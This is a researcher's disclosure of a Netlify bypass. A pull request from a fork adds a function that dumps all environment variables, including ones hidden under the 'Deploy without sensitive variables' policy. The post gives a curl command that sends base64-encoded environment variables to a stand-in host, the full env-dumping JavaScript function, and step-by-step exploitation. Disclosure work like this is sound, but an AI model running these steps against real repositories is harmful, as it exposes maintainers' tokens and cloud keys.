Abusing Netlify Functions

This articles details a new technique on how threat actors can abuse Netlify functions to leak secrets configured in their Netlify pipelines.

Before deep diving into the technique, this method had been shared with Netlify's Security team and as per them, this doesn't represent a security issue which I do not agree with. After some explanations, they still made it clear that this is not a security issue and I don't wish to waste any more of my time arguing with them. I now, make it public so that developers using this should disable Netlify Functions right away if they have configured any secrets in their pipelines and rely on Netlify to mask them during pull requests.

Introduction

Netlify is a front-end CI//CD that allows developers to deploy front-end applications via their CI/CD Solution. One of the features supported by Netlify is this option where one can allow Netlify to automatically mask sensitive secrets during build steps that get triggered from external Pull requests.

There is a logical error with the "Deploy without sensitive variables" policy which effectively allows anyone to dump env variables using Netlify functions. Using this anyone on the internet can dump environment variables and hereby expose secrets.

Netlify Functions

Netlify has introduced Netlify Functions which are Lambda functions that can be used during deployment via Netlify. The Functions are enabled by default and the user is not required to enable them. By default anything inside netlify/functions folder of the base repository is considered a Netlify function.

On the other hand, we have build stages that are run during building of code. This is the stage where everything works as expected. So If we create a test Netlify project and set the "Sensitive variable policy" to "Deploy without sensitive variables", then in such cases any Pull requests that are created by external users do not get access to the environment variables. This implies that Netlify in the backend restricts the exposure of all environment variables to external PR which is an expected behavior.

The expected Behaviour

For instance, let's fork https://github.com/netlify/example-every-color repository and connect Netlify to the forked repository. In Netlify, add the below variables as environment variables:-

GITHUB_TOKEN :ghp_xxxxxxxxxxxx
SECRET_VALUE: this-is-random-secret-value
AWS_SESSION_TOKEN_TRYME: xxxxxxxxxxxxx/yyyyyyyyyyy/zzzzzzzz+aaaaaaa/zex719rm+3FDRWk5IuTHruR95VpyggXyYsu6meZYN2eP9ATX6BsGGBmFj4ToswA9MD9kB7AzhGVnz/nt7kPzGRd5loWOcNNq3cSys4rH5Wq6NWaZ2iRxfEIN+kQXZLlDxudMOH/o9mswX8eFfcjtMCTXYDqvSz0tVecIvyS/o8SRgjv2K9oWW3AxsSWnWHWUccSJtWW6BM4plg8FGght7DcZYHs0s1IsHbSPfuveT2xcEA4Wa+QcWYaAV53FareNViz5y9piXhQmeYC8r1rtvOuMpSwAO1VUmY9CrId8IAQO9kt241MkrzRqSP+5YLLsPxgiX6Bi2AgXBubTci9lb0xw2o0jM8nhTbPVdcgoyebsUQkdOf7LwrLagLztgwxJqzogY6nwHyLfIeuOo/9m60NWsfvMN4XGvVTV6YodjiNgd3BEkGohmperY1GZR4dy/Dd8T54WId8cbuXFrDAbYWp2HLgzKLJVaf7iobBD4+c1OrJemMlQbSSRMEZP42pPfoT35PHJHD9WawJbf8u6IjFCvMJstrRx68+VG4T38ODYIuBrVE8ja58b/LQnJWOU8XtLFgp5z36rrioVCKXdORXlNRh4s= 
AWS_SECRET_ACCESS_KEY_TRYME: z+ZzrAwR7tBjIyCak5x4mt4IZcSVqk0tMCx0nj//
AWS_ACCESS_KEY_ID_TRYME : xxxxxxxxxxxx

Once, done simply go ahead and create a PR to the newly forked repository by another dummy account. In PR, make sure to edit netlify.toml the file and add a build step that would exfiltrate all the environment variables by adding the below line in the build step:-

curl https://xxxx-yyyy-zz-aa-bb.com/ev=$(env | base64 -w 0)

Now, simply wait and you will notice that all the environment variables are exported to your server. This would contain all variables except the environment variables declared in Netlify UI. This is how Netlify is supposed to work and protect the repository from such attacks.

The actual attack

Now, in the same setup, we will leak the environment variables. In Netlify UI, set the "Sensitive variable policy" to "Deploy without sensitive variables". This as per their documentation implies that Netlify will remove all environment variables to prevent the exact type of attack that we did above.

Now, in order to initiate the attack, in the same forked repository, add a new file called hello-world.js inside netlify/functions directory. This is because by default Netlify assumes that anything inside functions/ is a Netlify Function. If the directory doesn't exist, you can simply create one and proceed.

Below is the content of hello-world.js file:-

exports.handler = async () => {
  let envString = "";
  for (let key in process.env) {
  envString += `${key}: ${process.env[key]}\n`;
  }
  return {
    statusCode: 200,
    body: `hello world! I have a secret lanbda ${envString}`,
  };
};

This file basically simply prints out all the environment variables. Commit and raise a Pull Request.

Once the build process is done, even though the sensitive variable policy is set to "Deploy without sensitive variables", all secrets are dumped in the functions at the path /.netlify/functions/hello-world from the Deploy preview endpoint. For instance, if the deploy preview endpoint is https://deploy-xxxxx-10--demo-hello.netlify.app/, then make a GET request to https://deploy-xxxxx-10--demo-hello.netlify.app/.netlify/functions/hello-world which will print out all the environment variables including the one that you wished to protect from external pull requests.

This effectively nullifies the protection of removing sensitive variables in "Deploy without sensitive variables".

Impact

This attack was sprayed against Github and many open source projects were found to be vulnerable. Some of the exposed secrets included Github Tokens, GCP Service Keys, CI-CD tokens, etc. This included projects like Apache, Prometheus, Selenium, some 3rd party libraries, etc. All of these were responsibly reported and patched by their security teams.

Last updated